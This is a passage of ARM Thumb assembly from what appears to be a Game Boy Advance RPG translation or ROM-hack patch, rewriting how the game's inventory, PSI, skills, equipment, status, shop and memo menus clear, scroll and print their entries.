ldrh r1,[r0,#0]
mov r1,#1
strh r1,[r0,#0]
+
add sp,#0xC
pop {r3}
mov r8,r3
pop {r4-r7,pc}
//=============================================================================================
// This hack changes how menu clearing works, based off of 0x80012BC
// Same as above, except it cuts a part
//=============================================================================================
.new_clear_menu_a:
push {r4-r7,lr}
mov r7,r8 //base code
push {r7}
add sp,#-0xC
mov r8,r0
mov r5,r1
lsl r2,r2,#0x10
lsr r7,r2,#0x10
mov r0,sp
strh r3,[r0,#0]
cmp r5,#0
bne +
b .new_clear_menu_next_spot
+
mov r1,#0
ldsh r0,[r5,r1]
cmp r0,#0
bge +
add r0,#7
+
lsl r0,r0,#0xD
lsr r0,r0,#0x10
ldr r2,=#0xFFFF0000
ldr r1,[sp,#4]
and r1,r2
orr r1,r0
str r1,[sp,#4]
mov r1,#2
ldsh r0,[r5,r1]
cmp r0,#0
bge +
add r0,#7
+
asr r0,r0,#3
add r4,sp,#4
strh r0,[r4,#2]
ldrh r0,[r5,#4]
lsr r0,r0,#3
strh r0,[r4,#4]
ldrh r0,[r5,#6]
lsr r0,r0,#3
strh r0,[r4,#6]
ldrh r2,[r4,#0]
ldrh r3,[r4,#2]
mov r0,r8
mov r1,r7
bl $8001378
b .new_clear_menu_general
//=============================================================================================
// Swaps the arrangements' place for the inventory
//=============================================================================================
.new_clear_inventory:
push {lr}
bl .get_direction
cmp r0,#0
bne .new_clear_inventory_descending
//Swap arrangements' place - if we're ascending
mov r1,r5
mov r0,#0x38
lsl r0,r0,#4
add r4,r1,r0 // Get to bottom
-
mov r1,r4
mov r0,#0x80
sub r4,r4,r0
mov r0,r4
mov r2,#0x20 // Put the arrangements one below
swi #0xC
cmp r4,r5
bgt -
mov r0,#0
push {r0}
mov r0,sp
mov r1,r5
ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying)
swi #0xC
pop {r0}
b .new_clear_inventory_end
//Swap arrangements' place - if we're descending
.new_clear_inventory_descending:
mov r1,r5
mov r0,#0x80
add r0,r0,r1
mov r2,#0xE0 // Put the arrangements one above
swi #0xC
mov r0,#0
push {r0}
mov r0,#0x38
lsl r1,r0,#4
mov r0,sp
add r1,r1,r5
ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying)
swi #0xC
pop {r0}
.new_clear_inventory_end:
pop {pc}
//=============================================================================================
// Clears the arrangements for the Status menu
//=============================================================================================
.new_clear_status:
push {lr}
mov r1,r5
mov r0,#0x69
lsl r0,r0,#2
add r4,r1,r0
mov r3,#0
-
push {r3}
mov r0,#0
push {r0}
mov r0,sp
mov r1,r4
ldr r2,=#0x0100000E // (0x18 bytes of arrangements, 24th bit is 1 to fill instead of copying)
swi #0xB
mov r0,sp
mov r1,r4
add r1,#0x40
ldr r2,=#0x0100000E // (0x18 bytes of arrangements, 24th bit is 1 to fill instead of copying)
swi #0xB
pop {r0}
pop {r3}
mov r0,#8
lsl r0,r0,#4
add r4,r4,r0 // Prepare the next one
add r3,#1
cmp r3,#5
bne -
pop {pc}
//=============================================================================================
// Clears the arrangements for the Equipment menu
//=============================================================================================
.new_clear_equipment:
push {lr}
mov r1,r5
mov r0,#0x84
add r4,r1,r0
mov r3,#0
-
push {r3}
mov r0,#0
push {r0}
mov r0,sp
mov r1,r4
ldr r2,=#0x0100000E // (0x18 bytes of arrangements, 24th bit is 1 to fill instead of copying)
swi #0xB
mov r0,sp
mov r1,r4
add r1,#0x40
ldr r2,=#0x0100000E // (0x18 bytes of arrangements, 24th bit is 1 to fill instead of copying)
swi #0xB
pop {r0}
pop {r3}
mov r0,#1
lsl r0,r0,#8
add r4,r4,r0 // Prepare the next one
add r3,#1
cmp r3,#4
bne -
pop {pc}
//=============================================================================================
// Swaps the arrangements' place for the equipment submenu
//=============================================================================================
.new_clear_equip_submenu:
push {lr}
bl .get_direction_submenu
cmp r0,#0
bne .new_clear_equip_submenu_descending
//Swap arrangements' place - if we're ascending
mov r1,r5
mov r0,#0x38
lsl r0,r0,#4
add r4,r1,r0 // Get to bottom
-
mov r1,r4
mov r0,#0x80
sub r0,r4,r0
mov r2,#0x8 // Put the arrangements one below
swi #0xC
mov r1,r4
mov r0,#0x80
sub r4,r4,r0
mov r0,r4
add r0,#0x40
add r1,#0x40
mov r2,#0x8 // Put the arrangements one below
swi #0xC
cmp r4,r5
bgt -
mov r0,#0
push {r0}
mov r0,sp
mov r1,r5
ldr r2,=#0x01000008 // (0x20 bytes of arrangements, 24th bit is 1 to fill instead of copying)
swi #0xC
mov r0,sp
mov r1,r5
add r1,#0x40
ldr r2,=#0x01000008 // (0x20 bytes of arrangements, 24th bit is 1 to fill instead of copying)
swi #0xC
pop {r0}
b .new_clear_equip_submenu_end
//Swap arrangements' place - if we're descending
.new_clear_equip_submenu_descending:
mov r1,r5
mov r0,#0x38
lsl r0,r0,#4
add r4,r1,r0 // Get to bottom
-
mov r1,r5
mov r0,#0x80
add r0,r0,r1
mov r2,#0x8 // Put the arrangements one above
swi #0xC
mov r1,r5
add r1,#0x40
mov r0,#0x80
add r0,r0,r1
mov r2,#0x8 // Put the arrangements one above
swi #0xC
add r5,#0x80
cmp r4,r5
bgt -
mov r0,#0
push {r0}
mov r0,sp
mov r1,r5
ldr r2,=#0x01000008 // (0x20 bytes of arrangements, 24th bit is 1 to fill instead of copying)
swi #0xC
mov r0,sp
mov r1,r5
add r1,#0x40
ldr r2,=#0x01000008 // (0x20 bytes of arrangements, 24th bit is 1 to fill instead of copying)
swi #0xC
pop {r0}
.new_clear_equip_submenu_end:
pop {pc}
//=============================================================================================
// Swaps the arrangements' place for the battle memories
//=============================================================================================
.new_clear_battle_memo:
push {lr}
add r5,#0x40
bl .get_direction
cmp r0,#0
bne .new_clear_battle_memo_descending
//Swap arrangements' place - if we're ascending
mov r1,r5
mov r0,#0x38
lsl r0,r0,#4
add r4,r1,r0 // Get to bottom
-
mov r1,r4
mov r0,#0x80
sub r4,r4,r0
mov r0,r4
mov r2,#0x20 // Put the arrangements one below
swi #0xC
cmp r4,r5
bgt -
mov r0,#0
push {r0}
mov r0,sp
mov r1,r5
ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying)
swi #0xC
pop {r0}
b .new_clear_battle_memo_end
//Swap arrangements' place - if we're descending
.new_clear_battle_memo_descending:
mov r1,r5
mov r0,#0x80
add r0,r0,r1
mov r2,#0xE0 // Put the arrangements one above
swi #0xC
mov r0,#0
push {r0}
mov r0,#0x38
lsl r1,r0,#4
mov r0,sp
add r1,r1,r5
ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying)
swi #0xC
pop {r0}
.new_clear_battle_memo_end:
sub r5,#0x40
pop {pc}
//=============================================================================================
// Swaps the arrangements' place for the memoes
//=============================================================================================
.new_clear_memoes:
push {lr}
add r5,#0xBE
bl .get_direction
cmp r0,#0
bne .new_clear_memoes_descending
//Swap arrangements' place - if we're ascending
mov r1,r5
mov r0,#0x30
lsl r0,r0,#4
add r4,r1,r0 // Get to bottom
-
mov r1,r4
mov r0,#0x80
sub r4,r4,r0
mov r0,r4
mov r2,#0x20 // Put the arrangements one below
swi #0xC
cmp r4,r5
bgt -
mov r0,#0
push {r0}
mov r0,sp
mov r1,r5
ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying)
swi #0xC
pop {r0}
b .new_clear_memoes_end
//Swap arrangements' place - if we're descending
.new_clear_memoes_descending:
mov r1,r5
mov r0,#0x80
add r0,r0,r1
mov r2,#0xC0 // Put the arrangements one above
swi #0xC
mov r0,#0
push {r0}
mov r0,#0x30
lsl r1,r0,#4
mov r0,sp
add r1,r1,r5
ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying)
swi #0xC
pop {r0}
.new_clear_memoes_end:
sub r5,#0xBE
pop {pc}
//=============================================================================================
// Swaps the arrangements' place for the shop
//=============================================================================================
.new_clear_shop:
push {lr}
add r5,#0x2A
bl .get_direction
cmp r0,#0
bne .new_clear_shop_descending
//Swap arrangements' place - if we're ascending
mov r1,r5
mov r0,#0x28
lsl r0,r0,#4
add r4,r1,r0 // Get to bottom
-
mov r1,r4
mov r0,#0x80
sub r4,r4,r0
mov r0,r4
mov r2,#0x20 // Put the arrangements one below
swi #0xC
cmp r4,r5
bgt -
mov r0,#0
push {r0}
mov r0,sp
mov r1,r5
ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying)
swi #0xC
pop {r0}
b .new_clear_shop_end
//Swap arrangements' place - if we're descending
.new_clear_shop_descending:
mov r1,r5
mov r0,#0x80
add r0,r0,r1
mov r2,#0xC0 // Put the arrangements one above
swi #0xC
mov r0,#0
push {r0}
mov r0,#0x28
lsl r1,r0,#4
mov r0,sp
add r1,r1,r5
ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying)
swi #0xC
pop {r0}
.new_clear_shop_end:
sub r5,#0x2A
pop {pc}
//=============================================================================================
// This hack gives a default print scroller
//=============================================================================================
.new_default_scroll_print:
bx lr
//=============================================================================================
// This hack changes what the battle memo scrolling will print, based off of 0x80476C0
//=============================================================================================
.new_battle_memo_scroll_print:
push {r4-r7,lr}
add sp,#-4 //base code
mov r2,r0
ldr r1,=#0x2016028
mov r6,#1 //New code
bl .get_direction
cmp r0,#0
bne .new_battle_memo_scroll_print_descending
ldrh r0,[r2,#8]
b +
.new_battle_memo_scroll_print_descending:
ldrh r0,[r2,#8]
mov r2,#8
sub r2,r2,r6
add r0,r0,r2
+
.new_battle_memo_scroll_print_general:
lsl r0,r0,#2 //base code
mov r2,#0xE0
lsl r2,r2,#6
add r1,r1,r2
add r4,r0,r1
mov r5,#0
cmp r5,r6
bcs .new_battle_memo_scroll_print_end
mov r7,#0xF
-
ldr r0,[r4,#0]
lsl r0,r0,#0xA
cmp r0,#0
bge +
ldrb r1,[r4,#0] //Change a bit how this works in order to save space
mov r0,#7
bl $8001C5C
.new_battle_memo_scroll_print_after_function:
b .new_battle_memo_scroll_print_single_continue
+
mov r0,#1
bl $80486A0
.new_battle_memo_scroll_print_single_continue:
add r2,r5,#2
bl .get_battle_memoes_height //New code
lsl r2,r2,#0x10 //base code
lsr r2,r2,#0x10
str r7,[sp,#0]
mov r1,#1
mov r3,#1
neg r3,r3
bl $8047B9C
add r0,r5,#1
lsl r0,r0,#0x10
lsr r5,r0,#0x10
add r4,#4
cmp r5,r6
bcc -
.new_battle_memo_scroll_print_end:
add sp,#4
pop {r4-r7,pc}
//=============================================================================================
// This hack changes what the skill scrolling will print, based off of 0x80473EC
//=============================================================================================
.new_skills_scroll_print:
push {r4-r7,lr}
mov r7,r9 //base code
mov r6,r8
push {r6,r7}
add sp,#-8
mov r4,r0
ldrh r0,[r4,#0xA]
bl $8054FE0
add r3,sp,#4
mov r2,sp
add r2,#6
mov r1,#0
strh r1,[r2,#0]
ldrh r1,[r2,#0]
strh r1,[r3,#0]
ldrb r0,[r0,#0]
mov r9,r2
cmp r0,#3
beq .duster_skills_scroll_print
cmp r0,#3
bgt +
cmp r0,#2
beq .psi_skills_scroll_print
b .generic_skills_scroll_print
+
cmp r0,#4
bne .generic_skills_scroll_print
.psi_skills_scroll_print:
add r1,sp,#4
mov r0,#1
b +
.duster_skills_scroll_print:
mov r0,#1
mov r1,r9
+
strh r0,[r1,#0]
.generic_skills_scroll_print:
ldr r1,=#0x2016028
ldr r2,=#0x427A
bl .get_direction //New code!
cmp r0,#0
bne .new_skills_scroll_print_descending
mov r0,#2
ldrh r2,[r4,#8]
b +
.new_skills_scroll_print_descending:
add r0,r1,r2
ldrh r0,[r0,#0]
ldrh r2,[r4,#8]
add r2,#0xE
sub r0,r0,r2
cmp r0,#2
ble +
mov r0,#2
+
lsl r0,r0,#0x10 //base code
lsr r3,r0,#0x10
mov r8,r3
lsl r2,r2,#2
mov r3,#0xDE
lsl r3,r3,#6
add r1,r1,r3
add r5,r2,r1
mov r6,#0
lsr r0,r0,#0x11
cmp r6,r0
bcs .end_double_skills_print
mov r7,#0xF //Set the thing to print the bottom two skills at the right position
add r0,sp,#4 //But we optimize the code size
ldrh r0,[r0,#0]
cmp r0,#0
beq +
mov r6,#8
mov r4,#0xA
b .double_skills_print
+
mov r1,r9
ldrh r0,[r1,#0]
mov r4,#0xB
cmp r0,#0
beq +
mov r6,#2
b .double_skills_print
+
mov r6,#0xD
.double_skills_print: //Actual double skills printing
ldrb r1,[r5,#0]
mov r0,r6
bl $8001C5C
str r7,[sp,#0]
mov r1,#1
bl .get_inventory_height
mov r3,#0x16
bl $8047B9C
add r5,#4
ldrb r1,[r5,#0]
mov r0,r6
bl $8001C5C
str r7,[sp,#0]
mov r1,r4
bl .get_inventory_height
mov r3,#0x16
bl $8047B9C
cmp r6,#0x8
bne +
mov r0,#0
mov r1,#0
mov r2,#1
bl $8047D90
+
.end_double_skills_print:
mov r0,#1
mov r3,r8
and r0,r3
cmp r0,#0
beq .new_skills_scroll_print_end
add r0,sp,#4 //Set the thing to print the bottom skill at the right position
ldrh r0,[r0,#0] //But we optimize the code size
cmp r0,#0
beq +
mov r6,#8
b .single_skill_print
+
mov r1,r9
ldrh r0,[r1,#0]
cmp r0,#0
beq +
mov r6,#2
b .single_skill_print
+
mov r6,#0xD
.single_skill_print: //Actual single skill printing
mov r7,#0xF
ldrb r1,[r5,#0]
mov r0,r6
bl $8001C5C
str r7,[sp,#0]
mov r1,#1
bl .get_inventory_height
mov r3,#0x16
bl $8047B9C
.new_skills_scroll_print_end:
add sp,#8
pop {r3,r4}
mov r8,r3
mov r9,r4
pop {r4-r7,pc}
//=============================================================================================
// This hack changes what the equipment submenu scrolling will print, based off of 0x8047A78
//=============================================================================================
.new_equip_submenu_scroll_print:
push {r4-r7,lr}
add sp,#-4 //base code
mov r2,r0
ldr r1,=#0x2016028
mov r6,#1 //New code
bl .get_direction_submenu
cmp r0,#0
bne .new_equip_submenu_scroll_print_descending
ldrh r0,[r2,#8]
b +
.new_equip_submenu_scroll_print_descending:
ldrh r0,[r2,#8]
add r0,#7
+
lsl r0,r0,#2 //base code
mov r2,#0xD3
lsl r2,r2,#6
add r1,r1,r2
add r4,r0,r1
mov r5,#0
cmp r5,r6
bcs .new_equip_submenu_scroll_print_end
mov r7,#0xF
ldrb r0,[r4,#0]
cmp r0,#0
bne .new_equip_submenu_scroll_print_item
// This branch prints None at the bottom
mov r0,#0x58
bl $80486A0
bl .get_equip_submenu_height //New code
str r7,[sp,#0] //base code
mov r1,#0xC
mov r3,#1
neg r3,r3
bl $8047B9C
b .new_equip_submenu_scroll_print_end
.new_equip_submenu_scroll_print_item:
ldrb r1,[r4,#0]
mov r0,#2
bl $8001C5C
mov r1,r0
bl .get_equip_submenu_height //New code
ldr r0,[r4,#0] //base code
lsl r0,r0,#9
cmp r0,#0
bge .new_equip_submenu_scroll_print_item_grey
str r7,[sp,#0]
b +
.new_equip_submenu_scroll_print_item_grey:
mov r0,#1
str r0,[sp,#0]
+
mov r0,r1
mov r1,#0xC
mov r3,#0x16
bl $8047B9C
.new_equip_submenu_scroll_print_end:
add sp,#4
pop {r4-r7,pc}
//=============================================================================================
// This hack changes what the selling menu scrolling will print, based off of 0x80477BC.
// Also covers buying thanks to .get_x_shop, which is at 0x804774C
//=============================================================================================
.new_shop_scroll_print:
push {r4-r6,lr}
add sp,#-4
mov r2,r0 //base code
ldr r1,=#0x2016028
bl .get_direction //New code
cmp r0,#0
bne .new_shop_scroll_print_descending
ldrh r0,[r2,#8]
b +
.new_shop_scroll_print_descending:
ldrh r0,[r2,#8]
add r0,#5
+
bl .get_added_value_menu_valid //Code used in order to cover both buying and selling
lsl r0,r0,#2 //base code
add r1,r1,r2
add r4,r0,r1
ldrb r1,[r4,#0] //If we're scrolling, we have at least one item here
mov r0,#2
bl $8001C5C
mov r1,r0
bl .get_shop_height //New code
ldr r0,[r4,#0] //base code
lsl r0,r0,#0xA
cmp r0,#0
bge +
mov r0,#0xF
b .new_shop_scroll_print_continue
+
mov r0,#1
.new_shop_scroll_print_continue:
str r0,[sp,#0]
mov r0,r1
bl .get_x_shop //Covers both buying and selling
mov r3,#0x16
bl $8047B9C
add sp,#4
pop {r4-r6,pc}
//=============================================================================================
// Returns as the X the menu identifier -1. This is an optimization due to where stuff is normally printed.
// The two values are not actually related. They're 0xA for selling and 0x9 for buying
//=============================================================================================
.get_x_shop:
ldr r1,=#0x201A288
ldrb r1,[r1,#0]
sub r1,#1
bx lr
//=============================================================================================
// Returns the value that has to be added in order to go to the proper menu's inventory.
// If it's for the PSI menu, it has the inventory's number in r0
//=============================================================================================
.get_added_value_menu_valid:
push {r1}
ldr r2,=#0x201A288
ldrb r2,[r2,#0]
cmp r2,#0xB
beq .get_added_value_sell_valid
cmp r2,#0xA
beq .get_added_value_buy_valid
cmp r2,#0x2
beq .get_added_value_psi_valid
b +
.get_added_value_psi_valid:
mov r2,#0x35
lsl r2,r2,#8
lsl r1,r0,#7
add r2,r2,r1
b +
.get_added_value_buy_valid:
ldr r2,=#0x3D44
b +
.get_added_value_sell_valid:
mov r2,#0xD2
lsl r2,r2,#6
+
pop {r1}
bx lr
//=============================================================================================
// This hack changes what the psi scrolling will print, based off of 0x80471B4
// Base game bug: when you use a party wide PSI in this menu and end up with fewer PPs than
// the PPs required to use a PSI, this isn't reflected in the PSI's colour.
// Putting this here in order to fix it at a later date.
//=============================================================================================
.new_psi_scroll_print:
push {r4-r7,lr}
add sp,#-4
mov r2,r0 //base code
ldr r4,=#0x2016028
ldrh r3,[r2,#0xA]
lsl r0,r3,#1
ldr r5,=#0x4270
add r1,r4,r5
add r1,r0,r1 //If we're scrolling, the character has for sure > 0 PSI
bl .get_direction //New code!
cmp r0,#0
bne .new_psi_scroll_print_descending
mov r0,#2
ldrh r1,[r2,#8]
b +
.new_psi_scroll_print_descending:
ldrh r0,[r1,#0]
ldrh r1,[r2,#8]
add r1,#0xE
sub r0,r0,r1
cmp r0,#2
ble +
mov r0,#2
+
lsl r2,r0,#0x10 //base code
lsr r7,r2,#0x10
lsl r3,r3,#7
lsl r0,r1,#2
mov r5,#0xD4
lsl r5,r5,#6
add r1,r4,r5
add r0,r0,r1
add r4,r3,r0
mov r6,#0
lsr r2,r2,#0x11
cmp r6,r2
bcs +
ldrb r1,[r4,#0] //Set the thing to print the bottom two psi at the right position
mov r0,#8
bl $8001C5C
mov r3,r0
bl .get_inventory_height
mov r5,r2
ldr r0,[r4,#0]
bl .get_psi_usable
str r0,[sp,#0]
mov r0,r3
mov r1,#1
mov r3,#0x16
bl $8047B9C
add r4,#4
ldrb r1,[r4,#0]
mov r0,#8
bl $8001C5C
mov r3,r0
mov r2,r5
ldr r0,[r4,#0]
bl .get_psi_usable
str r0,[sp,#0]
mov r0,r3
mov r1,#0xA
mov r3,#0x16
bl $8047B9C
mov r0,#0
mov r1,#0
mov r2,#1
bl $8047D90
+
mov r5,#1
mov r0,r7
and r0,r5
cmp r0,#0
beq +
ldrb r1,[r4,#0] //Set the thing to print the bottom psi at the right position
mov r0,#8
bl $8001C5C
mov r3,r0
bl .get_inventory_height
ldr r0,[r4,#0]
bl .get_psi_usable
str r0,[sp,#0]
mov r0,r3
mov r1,#1
mov r3,#0x16
bl $8047B9C
+
add sp,#4
pop {r4-r7,pc}
//=============================================================================================
// This hack changes what the memoes scrolling will print, based off of 0x80475A4
//=============================================================================================
.new_memoes_scroll_print:
push {r4-r7,lr}
mov r7,r8 //base code
push {r7}
add sp,#-4
ldr r3,=#0x2016028
ldr r2,=#0x427E
add r1,r3,r2
mov r2,r0
bl .get_direction //New code!
cmp r0,#0
bne .new_memoes_scroll_print_descending
mov r0,#2
ldrh r1,[r2,#8]
b +
.new_memoes_scroll_print_descending:
ldrh r0,[r1,#0]
ldrh r1,[r2,#8]
add r1,#0xC
sub r0,r0,r1
cmp r0,#2
ble +
mov r0,#2
+
lsl r0,r0,#0x10 //base code
lsr r4,r0,#0x10
mov r8,r4
lsl r2,r1,#2
ldr r4,=#0x3BFC
add r1,r3,r4
add r4,r2,r1
mov r7,#0
lsr r0,r0,#0x11
cmp r7,r0
bcs .new_memoes_scroll_print_end_of_double
ldr r0,[r4,#0]
lsl r0,r0,#0xA
cmp r0,#0
bge .new_memoes_scroll_print_end_of_double
ldrb r0,[r4,#0]
bl $80486D8
mov r3,r0
bl .get_memoes_height //New code
mov r6,#1
neg r6,r6
ldr r0,[r4,#0]
lsl r0,r0,#9
bl .new_memoes_scroll_print_get_colour
str r0,[sp,#0] //Optimize code size
mov r0,r3 //base code
mov r1,#1
mov r3,r6
bl $8047B9C
add r4,#4
ldr r0,[r4,#0]
lsl r0,r0,#0xA
cmp r0,#0
bge .new_memoes_scroll_print_end_of_double
ldrb r0,[r4,#0]
bl $80486D8
mov r1,r0
bl .get_memoes_height //New code
mov r3,#1
neg r3,r3
ldr r0,[r4,#0]
lsl r0,r0,#9
bl .new_memoes_scroll_print_get_colour
str r0,[sp,#0] //Optimize code size
mov r0,r1 //base code
mov r1,#0xB
bl $8047B9C
add r4,#4
.new_memoes_scroll_print_end_of_double:
ldr r0,[r4,#0]
lsl r0,r0,#0xA
cmp r0,#0
bge .new_memoes_scroll_print_end
mov r5,#1
mov r0,r8
and r0,r5
cmp r0,#0
beq .new_memoes_scroll_print_end
ldrb r0,[r4,#0]
bl $80486D8
mov r1,r0
bl .get_memoes_height //New Code
ldr r0,[r4,#0]
lsl r0,r0,#9
bl .new_memoes_scroll_print_get_colour
str r0,[sp,#0] //Optimize code size
mov r0,r1 //base code
mov r1,#0x1
neg r3,r1
bl $8047B9C
.new_memoes_scroll_print_end:
add sp,#4
pop {r3}
mov r8,r3
pop {r4-r7,pc}
//=============================================================================================
// This hack gets the colour that should be printed for the memo item
//=============================================================================================
.new_memoes_scroll_print_get_colour:
cmp r0,#0
bge +
mov r0,#0xF
b .new_memoes_scroll_print_get_colour_end
+
mov r0,#1
.new_memoes_scroll_print_get_colour_end:
bx lr
//=============================================================================================
// This hack changes what the withdrawing scrolling will print, based off of 0x8047900
//=============================================================================================
.new_withdrawing_scroll_print:
push {r4-r7,lr}
mov r7,r9
mov r6,r8
push {r6,r7}
add sp,#-4 //base code
mov r1,r0
ldr r3,=#0x2016028
ldr r0,=#0x4282
add r2,r3,r0
bl .get_direction //New code!
cmp r0,#0
bne .new_withdrawing_scroll_print_descending
mov r0,#2
ldrh r1,[r1,#8]
b +
.new_withdrawing_scroll_print_descending:
ldrh r0,[r2,#0]
ldrh r1,[r1,#8]
add r1,#0xE
sub r0,r0,r1
cmp r0,#2
ble +
mov r0,#2
+
lsl r2,r0,#0x10 //base code
lsr r4,r2,#0x10
mov r9,r4
lsl r1,r1,#2
ldr r4,=#0x3DBC
add r0,r3,r4
add r5,r1,r0
mov r7,#0xF
mov r6,#0
lsr r0,r2,#0x11
cmp r6,r0
bcs +
mov r8,r0 //Set the thing to print the bottom two items at the right position
ldrb r1,[r5,#0]
mov r0,#2
bl $8001C5C
str r7,[sp,#0]
mov r1,#1
bl .get_inventory_height
mov r3,#0x16
bl $8047B9C
add r5,#4
ldrb r1,[r5,#0]
mov r0,#2
bl $8001C5C
str r7,[sp,#0]
mov r1,#0xA
bl .get_inventory_height
mov r3,#0x16
bl $8047B9C
mov r0,#0
mov r1,#0
mov r2,#1
bl $8047D90
+
mov r0,#1
mov r1,r9
and r0,r1
cmp r0,#0
beq +
ldrb r1,[r5,#0] //Set the thing to print the bottom item at the right position
mov r0,#2
bl $8001C5C
str r7,[sp,#0]
mov r1,#0x1
bl .get_inventory_height
mov r3,#0x16
bl $8047B9C
+
add sp,#4
pop {r3,r4}
mov r8,r3
mov r9,r4
pop {r4-r7,pc}
//=============================================================================================
// This hack changes what the withdrawing will print, based off of 0x8047900
//=============================================================================================
.new_withdrawing_a_print:
push {r4-r7,lr}
mov r7,r9
mov r6,r8
push {r6,r7}
add sp,#-4 //base code
mov r1,r0
ldr r3,=#0x2016028
ldr r0,=#0x4282
add r2,r3,r0
ldrh r0,[r2,#0]
ldrh r1,[r1,#8]
add r1,#0xF
sub r0,r0,r1
cmp r0,#1
ble +
mov r0,#1
+
lsl r2,r0,#0x10 //base code
lsr r4,r2,#0x10
mov r9,r4
lsl r1,r1,#2
ldr r4,=#0x3DBC
add r0,r3,r4
add r5,r1,r0
mov r7,#0xF
mov r0,#1
mov r1,r9
and r0,r1
cmp r0,#0
beq +
ldrb r1,[r5,#0] //Set the thing to print the bottom item at the right position
mov r0,#2
bl $8001C5C
str r7,[sp,#0]
mov r1,#0xA
mov r2,#0x9
mov r3,#0x16
bl $8047B9C
mov r0,#0
mov r1,#0
mov r2,#1
bl $8047D90
+
add sp,#4
pop {r3,r4}
mov r8,r3
mov r9,r4
pop {r4-r7,pc}
//=============================================================================================
// This hack changes what the status menu will print, based off of 0x80472BC
//=============================================================================================
.new_status_print:
push {r4-r7,lr}
add sp,#-4 //base code
ldrh r0,[r0,#0xA]
bl $8054FE0 //Get character's address
mov r5,r0
bl .delete_vram_status
cmp r0,#0 //Can this character's data be shown?
beq +
b .new_status_print_end
+
mov r4,#0
mov r7,r5
add r7,#0x34 //Go pick up the character's equipment
mov r6,#0xF
-
add r1,r7,r4 //Get Xth item
ldrb r0,[r1,#0]
cmp r0,#0
bne .new_status_print_item //Is an item equipped?
mov r0,#2
bl $80486A0 //If not, order printing "-----"
add r2,r4,#5
str r6,[sp,#0]
mov r1,#0xC
mov r3,#1
neg r3,r3
bl $8047B9C //Order its printing
b +
.new_status_print_item:
ldrb r1,[r1,#0] //Load the item that has to be printed
mov r0,#2
bl $8001C5C //Load its address
add r2,r4,#5
str r6,[sp,#0]
mov r1,#0xC
mov r3,#0x16
bl $8047B9C //Order its printing
+
add r4,#1
cmp r4,#3 //Cycle the equipment in its entirety
bls -
mov r0,r5
bl $8047B0C //Print Skill
ldr r0,=#0x20169FA //Has the gray text been printed?
ldrh r0,[r0,#0]
cmp r0,#0
beq +
b .new_status_print_end
+
mov r0,#0x47 //If it hasn't, reprint it
bl $80486A0 //Level text, get the pointer to it
mov r5,#1
neg r5,r5
mov r4,#1
str r4,[sp,#0] //Gray text
mov r1,#1
mov r2,#3
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x48 //Offense text
bl $80486A0 //Get the pointer to it
str r4,[sp,#0] //Gray text
mov r1,#1
mov r2,#4
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x49 //Defense text
bl $80486A0 //Get the pointer to it
str r4,[sp,#0] //Gray text
mov r1,#1
mov r2,#5
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x4A //IQ text
bl $80486A0 //Get the pointer to it
str r4,[sp,#0] //Gray text
mov r1,#1
mov r2,#6
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x4B //Speed text
bl $80486A0 //Get the pointer to it
str r4,[sp,#0] //Gray text
mov r1,#1
mov r2,#7
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x4C //EXP text
bl $80486A0 //Get the pointer to it
str r4,[sp,#0] //Gray text
mov r1,#1
mov r2,#8
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x4D //Next Level text
bl $80486A0 //Get the pointer to it
str r4,[sp,#0] //Gray text
mov r1,#1
mov r2,#9
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x4E //HP text
bl $80486A0 //Get the pointer to it
str r4,[sp,#0] //Gray text
mov r1,#9
mov r2,#3
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x50 //PP text
bl $80486A0 //Get the pointer to it
str r4,[sp,#0] //Gray text
mov r1,#9
mov r2,#4
mov r3,r5
bl improve_performances_menus.status_vram_equip_descriptors //Load OAM entries in VRAM
.new_status_print_end:
add sp,#4
pop {r4-r7,pc}
//=============================================================================================
// This hack changes what the equipment menu will print, based off of 0x80470A8
//=============================================================================================
.new_equip_print:
push {r4-r6,lr}
add sp,#-4 //base code
ldrh r0,[r0,#0xA]
bl $8054FE0 //Get character's address
mov r5,r0
bl .delete_vram_equip
cmp r0,#0 //Can this character's data be shown?
beq +
b .new_equip_print_end
+
mov r4,#0
mov r6,r5
add r6,#0x34 //Go pick up the character's equipment
mov r5,#0xF
-
add r1,r6,r4 //Get Xth item
ldrb r0,[r1,#0]
cmp r0,#0
bne .new_equip_print_item //Is an item equipped?
mov r0,#2
bl $80486A0 //If not, order printing "-----"
lsl r2,r4,#0x11
mov r1,#0xC0
lsl r1,r1,#0xA
add r2,r2,r1
lsr r2,r2,#0x10
str r5,[sp,#0]
mov r1,#0xC
mov r3,#1
neg r3,r3
bl $8047B9C //Order its printing
b +
.new_equip_print_item:
ldrb r1,[r1,#0] //Load the item that has to be printed
mov r0,#2
bl $8001C5C //Load its address
lsl r2,r4,#0x11
mov r1,#0xC0
lsl r1,r1,#0xA
add r2,r2,r1
lsr r2,r2,#0x10
str r5,[sp,#0]
mov r1,#0xC
mov r3,#0x16
bl $8047B9C //Order its printing
+
add r4,#1
cmp r4,#3 //Cycle the equipment in its entirety
bls -
ldr r0,=#0x20169FA //Has the gray text been printed?
ldrh r0,[r0,#0]
cmp r0,#0
beq +
b .new_equip_print_end
+
//If it hasn't, reprint it
bl improve_performances_menus.equipment_vram_equip_descriptors //Load OAM entries in VRAM
mov r0,#0x47 //Level text
bl $80486A0 //Get the pointer to it
mov r5,#1
neg r5,r5
mov r4,#1
str r4,[sp,#0] //Gray text
mov r1,#1
mov r2,#3
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x4F //Max HP text
bl $80486A0 //Get the pointer to it
str r4,[sp,#0] //Gray text
mov r1,#1
mov r2,#4
mov r3,r5
